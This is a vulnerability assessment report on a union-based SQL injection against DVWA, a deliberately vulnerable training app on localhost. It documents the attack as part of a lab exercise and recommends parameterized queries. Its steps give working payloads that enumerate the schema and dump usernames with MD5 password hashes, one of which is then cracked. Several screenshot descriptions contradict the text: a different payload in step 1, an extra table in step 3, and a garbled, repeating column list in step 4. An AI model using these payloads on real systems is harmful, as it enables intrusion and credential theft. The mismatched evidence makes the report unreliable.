

Security testing report

Vulnerability Assessment Report: SQL Injection

Vulnerability	SQL Injection (Union-Based)
Target Application	DVWA (Damn Vulnerable Web Application)
Affected Endpoint	http://127.0.0.1/vulnerabilities/sql/
Affected Parameter	id (User ID)
Severity	Critical

Executive Summary

A **critical** SQL Injection (SQLi) vulnerability was identified in the "SQL Injection" module of the DVWA platform, running at 127.0.0.1. The id parameter in the user lookup form is vulnerable to a union-based SQLi attack.

This flaw allows an unauthenticated attacker to bypass security controls and interact directly with the backend database. Successful exploitation, as demonstrated in the provided evidence, enables an attacker to:

- Enumerate the database schema, including table and column names.
- Exfiltrate all data from the database, including sensitive user information (usernames and password hashes).
- Crack the exfiltrated hashes to obtain plaintext passwords, leading to a full compromise of all user accounts on the application.

Immediate remediation by implementing **parameterized queries (prepared statements)** is required to mitigate this high-risk vulnerability.

Steps to Reproduce (Attack Narrative)

The following steps detail the process used to discover and exploit the vulnerability, as documented in the screenshots:

1. Determine Column Count: The attacker first probes the database to find the number of columns in the original query.

- **Payload:** `1' UNION SELECT 1, 2 #`
- **Result:** The application returned "First name: 1" and "Surname: 2", confirming the original query uses two columns.

The screenshot shows a Kali Linux desktop environment with a Firefox browser window open to the DVWA SQL Injection page at `http://127.0.0.1/vulnerabilities/sql/?id=%25%'+or+'0%3D'0&Submit=Submit#`. The DVWA logo is at the top. On the left is a sidebar menu with various exploit categories. The main content area has a form labeled 'Vulnerability: SQL Injection' with a 'User ID:' input field containing `ID: % ' or '0'='0`. Below the input field, the application displays two rows of data: 'First name: admin' and 'Surname: admin'. This indicates that the query was able to return two columns successfully, confirming a two-column structure. A 'More Information' section at the bottom lists several links related to SQL injection.

2. Enumerate Database Information: The attacker then used built-in database functions to gather information about the environment.

- **Payload:** `1' UNION SELECT user(), database() #`
- **Result:** This revealed the database user (`app@localhost`) and the database name (`dvwa`).

The screenshot shows a Kali Linux desktop environment with a Firefox browser window open to the DVWA SQL Injection page at `http://127.0.0.1/vulnerabilities/sql/?id=1'+UNION+SELECT+user+,+database()#+`. The DVWA logo is at the top. The main content area shows the application output in red text:
`User ID: [] Submit`
`ID: 1' UNION SELECT user(), database() #`
`First name: admin`
`Surname: admin`
`ID: 1' UNION SELECT user(), database() #`
`First name: app@localhost`
`Surname: dvwa`

3. **Enumerate Table Names:** Using the discovered database name, the attacker queried the information_schema to find all tables within the dvwa database.

- **Payload:** 1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' #
- **Result:** This successfully listed the guestbook and users tables. The users table was identified as a high-value target.

The screenshot shows the DVWA SQL Injection interface. In the 'User ID:' field, the payload '1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' #' is entered. The results show three tables: admin, guestbook, and users. Below the results, a 'More Information' section provides links to various SQL injection resources.

```
User ID: 1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' #
First name: admin
Surname: admin
ID: 1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' #
First name: guestbook
Surname: guestbook
ID: 1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' #
First name: users
Surname: users
```

More Information

- <http://www.secureteam.com/security/reviews/SDPN1P7KE.html>
- https://en.wikipedia.org/wiki/SQL_Injection
- <http://www.milw0rm.com/exploits/10004>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- http://www.owasp.org/index.php/SQL_Injection
- <http://bobby-tables.com>

4. **Enumerate Column Names:** The attacker then inspected the users table to find columns of interest.

- **Payload:** 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
- **Result:** This listed all columns in the users table, identifying the user and password columns as critical

The screenshot shows the DVWA SQL Injection interface. In the 'User ID:' field, the payload '1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #' is entered. The results list 13 columns: id, first_name, last_name, user_id, first_name, last_name, user_id, first_name, last_name, user_id, first_name, last_login, and failed_login. The first_name and user_id columns are highlighted in red, indicating they are critical.

```
User ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: admin
Surname: admin
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: user_id
Surname: user_id
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: first_name
Surname: first_name
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: last_name
Surname: last_name
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: user
Surname: user
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: password
Surname: password
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: avatar
Surname: avatar
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: last_login
Surname: last_login
ID: 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
First name: failed_login
Surname: failed_login
```

5. **Exfiltrate Sensitive Data:** With all necessary information, the attacker dumped the contents of the users table.

- **Payload:** 1' UNION SELECT user, password FROM users #
- **Result:** A complete list of all usernames and their corresponding password hashes (e.g., admin: 5f4dcc3b5aa765d61d8327deb882cf99) was exfiltrated and displayed on the page.

The screenshot shows a Kali Linux desktop environment with a browser window open to the DVWA SQL Injection page. The browser's address bar shows the URL `http://127.0.0.1/vulnerabilities/sqlil/?id=1'+UNION+SELECT+user`. The DVWA logo is at the top of the page. On the left, a sidebar lists various attack types, with "SQL Injection" highlighted in green. The main content area displays the results of the SQL injection query, showing multiple user entries with their first names, last names, and hashed passwords.

Vulnerability: SQL Injection

User ID: Submit

ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More Information

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <http://ferruh.mavutuna.com/sql-injection-cheatsheet-oku/>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- https://www.owasp.org/index.php/SQL_Injection
- <http://bobby-tables.com/>

en.wikipedia.org/wiki/SQL_injection

6. **Post-Exploitation (Offline Hash Cracking):** The exfiltrated MD5 hash for the admin user was taken to an external hash-cracking utility (CrackStation).

- **Input Hash:** 5f4dcc3b5aa765d61d8327deb882cf99
- **Result:** The hash was successfully cracked, revealing the plaintext password: **password.**

The screenshot shows a Kali Linux desktop environment within Oracle VirtualBox. A Firefox browser window is open, displaying the CrackStation website. The URL bar shows 'crackstation.net'. The main content of the page is the 'Free Password Hash Cracker' interface. A text input field contains the MD5 hash '5f4dcc3b5aa765d61d8327deb882cf99'. To the right of the input field is a reCAPTCHA verification box. Below the input field is a table with one row, showing the hash '5f4dcc3b5aa765d61d8327deb882cf99' in the 'Hash' column, 'md5' in the 'Type' column, and 'password' in the 'Result' column. At the bottom of the table, it says 'Color Codes: Green Exact match, Yellow Partial match, Red Not found.'

Impact

This vulnerability is rated **Critical** because it leads to a complete loss of confidentiality and integrity for the application's database. An attacker can steal all user data, including personal information and credentials, which can lead to identity theft and further attacks against users or the system.